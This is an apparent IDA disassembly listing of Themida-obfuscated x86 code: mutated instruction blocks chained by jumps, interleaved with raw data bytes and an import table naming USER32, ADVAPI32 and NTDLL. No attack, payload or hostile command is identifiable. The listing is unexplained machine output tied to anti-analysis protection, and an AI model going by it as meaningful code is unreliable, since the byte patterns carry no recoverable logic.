		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5629FD
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0D04D0CBEh, 2444812Dh, 0A0470204h, 2474015Bh, 0D095E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571E5A:				; CODE XREF: Themida_:00569BC1j
		pop	esp
		sub	dword ptr [esp+4], 71E705C9h
		add	dword ptr [esp+4], 5BD55E20h
		push	ebp
		jmp	loc_56E7D2
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0EFh
		dd 2AEC2B7Ah, 0FEEC2CE9h, 800BB3FFh, 0DD3062EBh, 0FF07FFE9h
		dd 190805FFh, 875D533Dh, 248B2404h, 48B6624h, 0CF02E924h
		dd 0EB81FFFEh, 3817556h, 0FF5340E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571EA9:				; CODE XREF: Themida_:00562909j
		sub	ebp, esi
		add	ebp, 41114C6Ah
		sub	ebp, 396D26C8h
		pop	esi
		mov	edi, ebp
		mov	ebp, [esp]
		jmp	loc_563BF3
; ---------------------------------------------------------------------------


loc_571EC2:				; CODE XREF: Themida_:0056F79Cj
		mov	esi, [esp]
		jmp	loc_560BD6
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8AC18004h, 0FF20F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571ED5:				; CODE XREF: Themida_:00570A27j
		pop	edi
		pop	edx
		xor	esi, 512E5794h
		push	esi
		push	dword ptr [esp]
		jmp	loc_56C740
; ---------------------------------------------------------------------------
		dw 4B68h
		dd 5B92086Eh, 515BDD31h, 6E68B9B9h, 0F167E962h,	52ADFFFFh
		dd 0DD241EBAh, 0E9D6292Ah, 0FFFFDEC3h
; ---------------------------------------------------------------------------


loc_571F08:				; CODE XREF: Themida_:0056D072j
		mov	edi, 0D35383h
		or	edi, 3FCE54F7h
		xor	edi, 63FA796Ch
		push	2027h
		jmp	loc_55E81E
; ---------------------------------------------------------------------------
		db 29h
		dd 2895DEAh, 5324148Bh,	0F3E9E389h
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571F33:				; CODE XREF: Themida_:005728EAj
		push	edx
		mov	edx, 6AFF02C8h
		push	edi
		mov	edi, 6F3E5F93h
		sub	edi, 0DA3D623Fh
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566826
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 66h
		dd 81400E65h, 9343ECEEh, 0BEFBE951h, 0EE81FFFFh, 1C5B56DCh
		dd 0E8E9F321h, 88FFFEF6h, 24048BE6h, 0FEEE23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571F7D:				; CODE XREF: Themida_:00564682j
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_56FF2A
; ---------------------------------------------------------------------------


loc_571F87:				; CODE XREF: Themida_:0056C6ABj
		sub	esi, 76687D93h
		xor	ebp, esi
		pop	esi
		push	eax
		mov	eax, 3D7013A3h
		sub	ebx, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_562EC4
; ---------------------------------------------------------------------------


loc_571FA3:				; CODE XREF: Themida_:00562DDBj
		shr	eax, 8
		push	ebp
		jmp	loc_56E6CB
; ---------------------------------------------------------------------------
		dd 6EFC147h, 3E3ABB53h,	0E38164F8h, 4ACC4542h, 0ECDBF57h
		dd 0F7811F27h, 298B74C6h, 6B2F781h, 0EFC14895h,	0BD555603h
		dd 56BD3C6Ch, 0FDC5E94Dh, 0EAC1FFFEh, 0E566E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571FE6:				; CODE XREF: Themida_:0056CF55j
		mov	esi, 497B6778h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7EDE7D6Fh
		and	eax, 3B8827F8h
		jmp	loc_562E6A
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 4EC8324h, 52242C89h, 0C281E289h, 4
		dd 759A6851h, 81594DE7h, 4C300BF1h, 0E5D9E909h,	835DFFFEh
		dd 148904ECh, 4EC8124h,	89000000h, 34B82404h, 4832607Dh
		dd 0E8C1D0F7h, 0E0B73502h, 81503367h, 29AE2404h, 34FF22ACh
		dd 0C4835A24h, 0AEEA8104h, 0FF22AC29h, 83582434h, 348904ECh
		dd 81E68924h, 4C6h, 0FBB5300h, 0D119817Ch, 0F2F381EBh
		dd 81326335h, 2A74A4EBh, 0C6C38178h, 43506930h,	0FEBCB3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572091:				; CODE XREF: Themida_:00567829j
		pop	eax
		xor	esi, 7B2E4732h
		push	64Fh
		mov	[esp], edi
		push	183Dh
		mov	[esp], edx
		mov	edx, 3BB60F2Ah
		and	edx, 3787600h
		or	edx, 13907ACFh
		inc	edx
		jmp	loc_56281E
; ---------------------------------------------------------------------------
		db 89h
		dd 7C295DEFh, 3C8B0424h, 4C48324h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 3E6D2A76h
		and	esi, 1E60728Ah
		shl	esi, 1
		push	eax
		mov	eax, 243C76A2h
		jmp	loc_563614
; ---------------------------------------------------------------------------
		db 81h
		dd 0F5201CEBh, 98BF5776h, 2913DCDAh, 0C2815FFBh, 3E665D38h
		dd 2B6EA81h, 0DA290C97h, 2B6C281h, 0EA810C97h, 3E665D38h
		dd 0FECC2EE9h, 348758FFh, 524EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572122:				; CODE XREF: Themida_:00565017j
		mov	ebp, 79A96840h
		mov	edi, 0B2406853h
		sub	edi, ebp
		pop	ebp
		xor	edi, 30993B85h
		push	ecx
		mov	ecx, 2EA1634Dh
		sub	ecx, 0C34A056Bh
		xor	edi, ecx
		pop	ecx
		shr	edi, 7
		xor	edi, 48122822h
		xor	edi, 345BE169h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5717A2
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FEC860E9h, 71C781FFh, 29688903h, 84B5E9CFh,	0C529FFFFh
		dd 0FFE876E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57217D:				; CODE XREF: Themida_:005716C2j
		mov	[esp], eax
		push	38h
		mov	[esp], edx
		mov	dh, cl
		mov	ah, dh
		pop	edx
		mov	bh, ah
		jmp	loc_565D14
; ---------------------------------------------------------------------------
		dd 9DE9D3F7h
		db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57219B:				; CODE XREF: Themida_:005630D1j
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		xor	eax, edx
		jmp	loc_560707
; ---------------------------------------------------------------------------
		dd 0E654D368h, 5F63E915h, 0C721FFFFh, 8124048Bh, 4C4h
		dd 4E7C100h, 0D872B850h, 0C7013A06h, 5F3AE958h,	0E951FFFFh
		dd 0FFFF99B8h, 24048966h, 0FEB100E9h, 59CF89FFh, 24048157h
		dd 3AF753A8h, 8B2434FFh, 0E957242Ch, 0FFFF1B71h
; ---------------------------------------------------------------------------


loc_572204:				; CODE XREF: Themida_:00562FAEj
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 1Eh
		xor	ch, 56h
		xor	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		xor	bh, 6
		xor	al, bh
		push	dword ptr [esp]
		jmp	loc_56A5A9
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F78103E7h, 23135690h, 0CBEFEF81h, 0F8892879h, 0FF7058E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57223D:				; CODE XREF: Themida_:0056ECD5j
		add	dword ptr [esp], 4
		jmp	loc_572AFD
; ---------------------------------------------------------------------------


loc_572246:				; CODE XREF: Themida_:0056FB37j
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_567160
; ---------------------------------------------------------------------------
aBiWObis	db '│К[WбO│КИ',0
		dw 6677h
		dd 6F28B951h, 0D1410DC6h, 65E181E9h, 812AAF4Ch,	0FF490E9h
		dd 59CB01A3h, 725E68h, 24048900h, 0FB1CA3B8h, 0EAB95100h
		dd 13F8D22h, 0C32959C8h, 8B2434FFh, 0CBE92404h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5722A3:				; CODE XREF: Themida_:00563FEAj
		push	450Bh
		mov	[esp], esi
		jmp	loc_56BD91
; ---------------------------------------------------------------------------
		dd 0AE40E957h, 32E9FFFFh
		db 0B0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5722BB:				; CODE XREF: Themida_:00565B16j
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, 111C38FEh
		push	eax
		push	ecx
		mov	ecx, 35653236h
		sub	ecx, 7A19133Fh
		shl	ecx, 6
		xor	ecx, 8E41C667h
		mov	eax, ecx
		jmp	loc_569380
; ---------------------------------------------------------------------------
		db 81h
		dd 0F753A8EDh, 243C8B3Ah, 8904C483h, 99E95DE9h,	1FFFF17h
		dd 0EC5AE9C1h, 0BB7FFFEh, 0FE5BFC88h, 86C480CCh, 8858E388h
		dd 0C1805BD9h, 1C18010h, 0E980E128h, 10E98001h,	8BCB2858h
		dd 0C481240Ch, 4, 60BE9h
		db 0
; ---------------------------------------------------------------------------


loc_572331:				; CODE XREF: Themida_:00570C74j
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 209619DAh
		sub	edi, 209619D6h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_570CDC
; ---------------------------------------------------------------------------


loc_572356:				; CODE XREF: Themida_:0056E440j
		sub	[esp+4], esi
		push	eax
		mov	eax, 31B10174h
		add	[esp+8], eax
		pop	eax
		add	dword ptr [esp+4], 45B04FB4h
		add	dword ptr [esp+4], 40214940h
		mov	esi, [esp]
		jmp	loc_56235E
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFEBFC2h, 2B85059h, 0E9000000h, 0FFFFE6FBh
; ---------------------------------------------------------------------------


loc_572394:				; CODE XREF: Themida_:005604DCj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	edx, 380596Eh
		jmp	loc_55D588
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 47h
		dd 5A77713Fh, 5C240C87h, 1BA168h, 241C8900h, 57BD68h, 242C8900h
		dd 0ED587FBDh, 5DEB891Ch, 1EB81h, 0CB810000h, 1E152FD4h
		dd 2E06F381h, 41E96AEFh, 1FFFF4Ch, 3A902DF8h, 0EF052C1Fh
		dd 2D42283Eh, 55FF2D01h, 0E92434FFh, 0FFFFCBA9h, 0FFE8285Bh
		dd 1E92434h, 0BAFFFFCEh, 565041AEh, 0FFF8E3E9h,	81E189FFh
		dd 4C1h, 4E98100h, 0E9000000h, 0FFFEF8B8h, 0E92434FFh
		dd 0FFFF6A46h, 0F1EE8166h, 0DEF76648h, 0FF0103E9h, 24048FFFh
		dd 0ECE9h, 36CCBD00h, 7AE962F4h, 0BBFFFF86h, 573628BCh
		dd 4304E3C1h, 0C381434Bh, 0F8BAB14Eh, 0FFD417E9h, 6859FFh
		dd 52000000h, 380437BAh, 0D0B95151h, 132637Ch, 5908244Ch
		dd 4246C81h, 69B55F9Ch,	4245429h, 4244481h, 69B55F9Ch
		dd 4246C81h, 32637CD0h,	0E6D9E95Ah, 0BA52FFFEh,	0F283187h
		dd 4245429h, 5324148Bh,	241C8B54h, 5E08950h, 4,	405h, 24048700h
		dd 4C3815Ch, 83000000h,	3C8904ECh, 4BF24h, 0FB290000h
		dd 0FF6D29E9h, 2EC83FFh, 24148966h, 0D3288EB2h,	24148B66h
		dd 0E902C483h, 0FFFFCFF5h
; ---------------------------------------------------------------------------


loc_5724F0:				; CODE XREF: Themida_:0055D36Dj
		not	edx
		jmp	loc_570459
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 0E9000000h, 0FFFFD607h, 93A22D48h,	0C589B0CAh
		dd 31CD8158h, 0E9275265h, 0FFFF7CACh
; ---------------------------------------------------------------------------


loc_572518:				; CODE XREF: Themida_:005681F8j
		push	ecx
		mov	ecx, 60045C29h
		jmp	loc_565DE9
; ---------------------------------------------------------------------------


loc_572523:				; CODE XREF: Themida_:00564041j
		sub	dl, 0FFh
		sub	esp, 2
		jmp	loc_565A00
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C240428h, 0FEADB0E9h, 0DAF75AFFh, 36EEE281h, 0C2812D54h
		dd 1FD5553h, 0C281E2D1h, 0A97D4912h, 6E16E981h,	0D1016847h
		dd 6E16C181h, 515A6847h, 42474FFh, 24048F59h, 2404015Ch
		dd 1E7968h, 0DD29E900h,	0D2BFFFFEh, 0F760E564h,	0A8EF81D7h
		dd 1A96491h, 243C8BFEh,	4C481h,	0F0890000h, 246C815Eh
		dd 2D189F04h, 38DAE922h, 69B4FFFFh, 0C005ECC0h,	0E48002E4h
		dd 32CC8011h, 0E942EC80h, 0FFFF3896h, 0F383E95Bh, 20BEFFFEh
		dd 0F7755953h, 794BE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5725CA:				; CODE XREF: Themida_:0056C3B1j
		pop	ebx
		mov	ebp, eax
		jmp	loc_55F91E
; ---------------------------------------------------------------------------


loc_5725D2:				; CODE XREF: Themida_:005683E3j
		shr	edi, 5
		shl	edi, 5
		neg	edi
		sub	edi, 0E272C29Ch
		xor	ebp, edi
		pop	edi
		jmp	loc_563F86
; ---------------------------------------------------------------------------
		dd 8B2414F7h, 0E956243Ch, 0FFFF4D38h, 81E38953h, 4C3h
		dd 3CE95200h, 81FFFECAh, 0F61E5E6h, 0CB0CE921h,	0E95CFFFEh
		dd 0FFFEBB4Fh, 0A9F6814Eh, 814A7E20h, 64491CF6h, 0E9F28947h
		dd 0FFFFC71Eh
; ---------------------------------------------------------------------------


loc_572628:				; CODE XREF: Themida_:00565B61j
		push	6383482h
		pop	ecx
		jmp	loc_562FB3
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4B21E581h, 0FFE9799Eh, 0B2FFFFA2h, 0FEF280FBh, 2C5AD000h
		dd 0FF292C29h, 1C8B2434h, 0F70CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572656:				; CODE XREF: Themida_:0056A423j
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	6A92h
		mov	[esp], eax
		mov	eax, 4
		sub	esi, eax
		jmp	loc_564052
; ---------------------------------------------------------------------------
		dd 45A8804h, 4E5EE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57267E:				; CODE XREF: Themida_:0056B61Aj
		mov	esp, [esp]
		jmp	loc_56833A
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 0D52FE956h, 2C33FFFFh, 1F045C24h, 0FFDF3FE9h, 15F0B9FFh
		dd 0CB294F28h, 0D3BA5259h, 0E941D616h, 0FFFECB33h
; ---------------------------------------------------------------------------


loc_5726AC:				; CODE XREF: Themida_:0056C6CFj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6D8E152Ah
		xor	edi, 61E66E20h
		jmp	loc_56728F
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 0E9h
		dd 0FFFF2C6Fh, 4EC81h, 3C890000h, 81E78924h, 4C7h, 4EF8300h
		dd 5C243C87h, 0E9242489h, 0FFFF1365h
; ---------------------------------------------------------------------------


loc_5726EC:				; CODE XREF: Themida_:0056CA85j
		add	esp, 4
		push	ebp
		jmp	loc_563B05
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 293FDCBFh, 5FFE2914h, 0E924048Bh, 0FFFECA39h
; ---------------------------------------------------------------------------


loc_572708:				; CODE XREF: Themida_:00563DCCj
		add	ebp, 0B264C717h
		sub	edi, 10D16526h
		add	edi, ebp
		jmp	loc_566C76
; ---------------------------------------------------------------------------


loc_57271B:				; CODE XREF: Themida_:0056A438j
		pop	eax
		pop	edx
		and	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55DBE4
; ---------------------------------------------------------------------------


loc_57272D:				; CODE XREF: Themida_:0056C400j
		mov	edi, 11BE2C9Dh
		jmp	loc_56C147
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	348704EEh, 1C895C24h, 68E38924h
		dd 3DDh, 0E9241489h, 0FFFF770Fh, 0EC81D301h, 4,	0E9240489h
		dd 0FFFECC50h, 83242C8Bh, 9BE904C4h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572773:				; CODE XREF: Themida_:0055F783j
		mov	ecx, esp
		push	0A34h
		mov	[esp], ebp
		mov	ebp, 17874D0Dh
		push	5F9Fh
		mov	[esp], ebp
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_56B1FB
; ---------------------------------------------------------------------------
		dd 335AD329h, 1C31241Ch, 241C3324h, 6624248Bh, 0E9240C89h
		dd 0FFFFD473h
; ---------------------------------------------------------------------------


loc_5727AC:				; CODE XREF: Themida_:005679B2j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_56684B
; ---------------------------------------------------------------------------
		db 0C0h, 0EBh, 7
		dd 80A0F380h, 0EBC086EBh, 0D5C38007h, 28CBB050h, 0D80058C3h
		dd 782EE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5727E2:				; CODE XREF: Themida_:00570463j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56C7E5
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FECFE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5727F6:				; CODE XREF: Themida_:0055DF14j
		add	eax, 3D192096h
		shl	eax, 6
		jmp	loc_55D30A
; ---------------------------------------------------------------------------


loc_572803:				; CODE XREF: Themida_:0055FA5Ej
		push	esi
		jmp	loc_56B15B
; ---------------------------------------------------------------------------


loc_572809:				; CODE XREF: Themida_:0056B5A4j
		mov	edi, 47F722DEh
		jmp	loc_55DB9F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28300h, 0FEB046E9h, 4EC83FFh, 89241C89h, 4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 24048F5Ch, 0E924248Bh, 0FFFF8571h
; ---------------------------------------------------------------------------


loc_572844:				; CODE XREF: Themida_:005649C3j
		xchg	ebx, [esp]
		pop	esp
		add	eax, 0BCC00B3h
		add	eax, esi
		sub	eax, 0BCC00B3h
		pop	esi
		push	ebp
		push	4BF0h
		mov	[esp], esi
		push	eax
		mov	eax, 413D1085h
		jmp	loc_572A14
; ---------------------------------------------------------------------------
		db 59h,	0F7h, 0D1h
		dd 0FF796EE9h, 8EBC1FFh, 3D0CF381h, 0A2E90622h
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57287F:				; CODE XREF: Themida_:005689DAj
		xchg	eax, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0D4999B43h, 84E9CE01h, 29FFFFC1h, 0AFF3E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5728A2:				; CODE XREF: Themida_:0056DBF8j
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_56507E
; ---------------------------------------------------------------------------
		db 57h
		dd 50E0BE56h, 0F7891329h, 0E9F8015Eh, 0FFFF9806h, 5277B6B9h
		dd 59CF2906h, 12CEB951h, 0EF814624h, 33ED22B0h,	0FF4E04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5728D5:				; CODE XREF: Themida_:0055F450j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		add	esp, 4
		shr	ecx, 7
		push	4D08h
		mov	[esp], ebx
		jmp	loc_571F33
; ---------------------------------------------------------------------------
		db 81h
		dd 180424EFh, 55E7816Bh, 55609272h, 0C52CDDBDh,	5DEF313Dh
		dd 0CD04E956h, 0C281FFFEh, 0C6DEBFB6h, 7C4EEB81h, 89515532h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 0FF916DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57292D:				; CODE XREF: Themida_:005662C8j
		mov	bl, dh
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56D8BC
; ---------------------------------------------------------------------------
		dd 80D2EB80h, 0C32828C3h, 8028EB80h, 43E9D2C3h,	68FFFF7Fh
		dd 0DC0h, 89241489h, 4C281E2h, 56000000h, 0E73296BEh, 76B85036h
		dd 0F70A6056h, 4BB3E9D0h, 0CE20FFFFh, 0EEC05966h, 2EE8007h
		dd 0E9BDEB80h, 0FFFF6006h, 31241C33h, 1C33241Ch, 5707E924h
		dd 483FFFFh, 0F3E90424h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57299B:				; CODE XREF: Themida_:00569A51j
		push	ebx
		mov	ebx, 62E878BEh
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55F37D
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0E1h
		dd 8108167Eh, 0BF7C44EDh, 5CE4E9A7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5729C2:				; CODE XREF: Themida_:00571D0Bj
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55D560
; ---------------------------------------------------------------------------
		dd 0EE81D6F7h, 3446190Dh, 0E906E6C1h, 0FFFEBC20h
; ---------------------------------------------------------------------------


loc_5729EC:				; CODE XREF: Themida_:0056E770j
		add	edx, 4
		push	edx
		jmp	loc_56E833
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 61EBE924h, 15AFFFFh,	0BB535BDDh, 0F1521BCh, 0FFF787E9h
		dd 0E95B54FFh, 0FFFF6624h
; ---------------------------------------------------------------------------


loc_572A14:				; CODE XREF: Themida_:00572864j
		xor	eax, 25893294h
		dec	eax
		neg	eax
		shl	eax, 7
		jmp	loc_561FFE
; ---------------------------------------------------------------------------
		dd 34FFC501h, 89565824h, 0A9BFE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572A32:				; CODE XREF: Themida_:00567566j
		mov	edx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 1B23C70h
		jmp	loc_561036
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFECC1Bh
; ---------------------------------------------------------------------------


loc_572A50:				; CODE XREF: Themida_:00562FCFj
		pop	ebx
		sub	ecx, esi
		jmp	loc_5651E3
; ---------------------------------------------------------------------------
		dd 0FE68h, 242C8B00h, 4C481h, 6F210000h, 2434FF1Ch, 4EC835Dh
		dd 89240C89h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 8924248Bh
		dd 1368240Ch, 54000018h, 5124048Fh, 0FFDA8BE9h,	2BEB81FFh
		dd 81B31A5Eh, 472010EFh, 0CE2BE941h, 0C281FFFEh, 37E836F3h
		dd 592434FFh, 4C481h, 0C2830000h, 0B083E902h, 0BDBAFFFEh
		dd 0F70FE64Ch, 2EAC1D2h, 71C2814Ah, 1C95A0Dh, 2434FFD3h
		dd 4C4835Ah, 0FFFC77E9h, 34F324FFh, 8BC388BBh, 46E92404h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572AEF:				; CODE XREF: Themida_:00571108j
		push	ebp
		jmp	loc_570E0A
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 0FF502AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572AFD:				; CODE XREF: Themida_:00572241j
		pop	eax
		add	eax, 4
		jmp	loc_56549F
; ---------------------------------------------------------------------------
		dd 52C3295Ch, 0D55131BAh, 0E9D3293Dh, 0FFFFD78Bh
; ---------------------------------------------------------------------------


loc_572B18:				; CODE XREF: Themida_:00562AAFj
		pop	edx
		push	cx
		mov	ch, 0D0h
		sub	al, ch
		pop	cx
		add	bl, al
		pop	eax
		push	eax
		mov	ah, 0C5h
		and	ah, 0ADh
		jmp	loc_56CE15
; ---------------------------------------------------------------------------
		db 83h
		dd 506604C4h, 5232B353h, 0FED5FAE9h, 0E08950FFh, 0FEE646E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572B45:				; CODE XREF: Themida_:0055FE92j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		jmp	loc_562DE0
; ---------------------------------------------------------------------------
		dd 56E9h, 0FDB4D900h, 45535507h, 2E323352h, 6C6C64h, 41564441h
		dd 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch
		dd 3000907h, 2000C00h, 26000100h, 34A00h, 7 dup(0)
		dd 0E9000000h, 8F0h, 16A0B168h,	0DE41E906h, 3468FFFDh
		dd 0E90616A1h, 0FFFDDE37h, 16A26F68h, 0DE2DE906h, 0B668FFFDh
		dd 0E90616A3h, 0FFFDDE23h, 16A42468h, 0DE19E906h, 3C68FFFDh
		dd 0E90616A5h, 0FFFDDE0Fh, 16A5B968h, 0DE05E906h, 0AF2DFFFDh
		dd 0F2E1BE10h, 369C79CBh, 7F563385h, 0CC0BE83Ah, 52669FF1h
		dd 0F244795Eh, 0ABFDBC15h, 63B50ACEh, 196B5086h, 997F850Dh
		dd 0AD580887h, 0E2552CB2h, 0AE0DC9EBh, 9553AA02h, 0FDE41392h
		dd 63D170D1h, 226D73BBh, 0F057E502h, 441127C8h,	257D2992h
		dd 1FD7B2F6h, 0D13F91BFh, 0B8DFE52Dh, 4E37D350h, 0BD556471h
		dd 32970511h, 0CDD31BA0h, 37F430E7h, 0F33BD3FBh, 0E76BF8EDh
		dd 844D2A3Dh, 99318935h, 69528451h, 1F9C3A17h, 0A50EA441h
		dd 23311B58h, 765h, 54A619C3h, 0F615C77h, 0C91BA032h, 7ED0E9ECh
		dd 358736A1h, 0E3F4BCFCh, 26AB88DAh, 74644193h,	0BA1CF94Bh
		dd 1BA3AF01h, 8882F15h,	0E1484358h, 4BF7C412h, 0E52DD13Fh
		dd 0E831171Dh, 1D4551F1h, 82E2E8EEh, 8A57E686h,	993D48A3h
		dd 0C8604040h, 9A25B380h, 6E4D8552h, 86522F3Fh,	0CF5F127Ah
		dd 0C1595CCBh, 3DCE0815h, 8A45137h, 0E63D6558h,	0DD128131h
		dd 5735CD6Ch, 3EA58798h, 0E243513Bh, 46000006h,	0FAD72996h
		dd 0B592E4D9h, 6F4C9E1Dh, 24015366h, 7FB80AB3h,	5D607739h
		dd 16A32E0Bh, 0CEF1E7C4h, 84379F7Ch, 989E2632h,	580888B2h
		dd 1264CBC6h, 3E4BF7C4h, 13DB2398h, 0E85F454Bh,	4B7351F1h
		dd 0F1E7DFC5h, 0C216F351h, 0CC3665FDh, 0F8A417BFh, 25D1ECEBh
		dd 6C4D0DF1h, 0AF420014h, 1AC6F3E2h, 3E2793C2h,	0C0FEEDEEh
		dd 53h,	0F7C412D7h, 4017ECA5h, 45E03907h, 1F86DDA9h, 0C397F4C8h
		dd 0C2A4E817h, 4C51F209h, 39FFB875h, 2E5DDAC3h,	0B608B323h
		dd 0C20F6CDAh, 5BF34BF7h, 7E3B0D13h, 0FF2757E5h, 0D1EEEAB7h
		dd 70D0A77Fh, 1F9A3B1Eh, 84EA2CC8h, 318E4A55h, 6237785h
		dd 12CE0000h, 434BF7C4h, 0B4605D76h, 0B5232D5Ch, 0A8BBC109h
		dd 9457E510h, 0FFAB0EC7h, 0CCF478A7h, 2C10AD84h, 9F48D4D1h
		dd 81D98538h, 0CDAABAE9h, 9D6AB209h, 0D2DA8635h, 5FFE6CCh
		dd 3AD2FA58h, 0B11FFB0Bh, 7445905Dh, 4EA70C8h, 18580600h
		dd 8B2EA3F0h, 2AA5ABF3h, 585DFAA0h, 0BD1BE830h,	5D3B002h
		dd 2F060EBAh, 0C26762FEh, 283362CBh, 0CA2F0DAEh, 1D3890FCh
		dd 5A72533h, 5B810000h,	9E351264h, 0E2F0CD1Fh, 2BAA87D9h
		dd 785F3C8Eh, 0FEBAF345h, 469825B2h, 0FF516869h, 0B709B622h
		dd 6DBFFCDAh, 0EDD3D961h, 1580889h, 0C4129F06h,	983E4BF7h
		dd 6B6A7723h, 949AA24Eh, 51F1E7AEh, 864D9AC2h, 587E8B37h
		dd 0AD5FB763h, 50A80949h, 0AEAD1E3Ch, 1251F1E9h, 0EDF00264h
		dd 0FED4FEFEh, 1715FFFFh, 832F8C4Ah, 0E78F757Bh, 7BA351F1h
		dd 2DA9B4E3h, 15C1F8D9h, 6D7925BDh, 3F074FFFh, 0F1E85339h
		dd 4D8A6751h, 0A3A9D870h, 0E53B3A9Dh, 666B4857h, 0B74FA753h
		dd 731B8965h, 4F66252Bh, 0C39A5DF9h, 0CEB9C928h, 0B73B6AF1h
		dd 0BA9DE38Fh, 0C75E19F6h, 77EEE5A5h, 0E7F2C5DEh, 0A8A2710h
		dd 6F9AF1CEh, 0F65C8BB5h, 181h,	6B521EEh, 0ECD3025Ah, 63D170D1h
		dd 573D430Bh, 6B51F1E8h, 0E7D7BD43h, 746451F1h,	0C55D854Bh
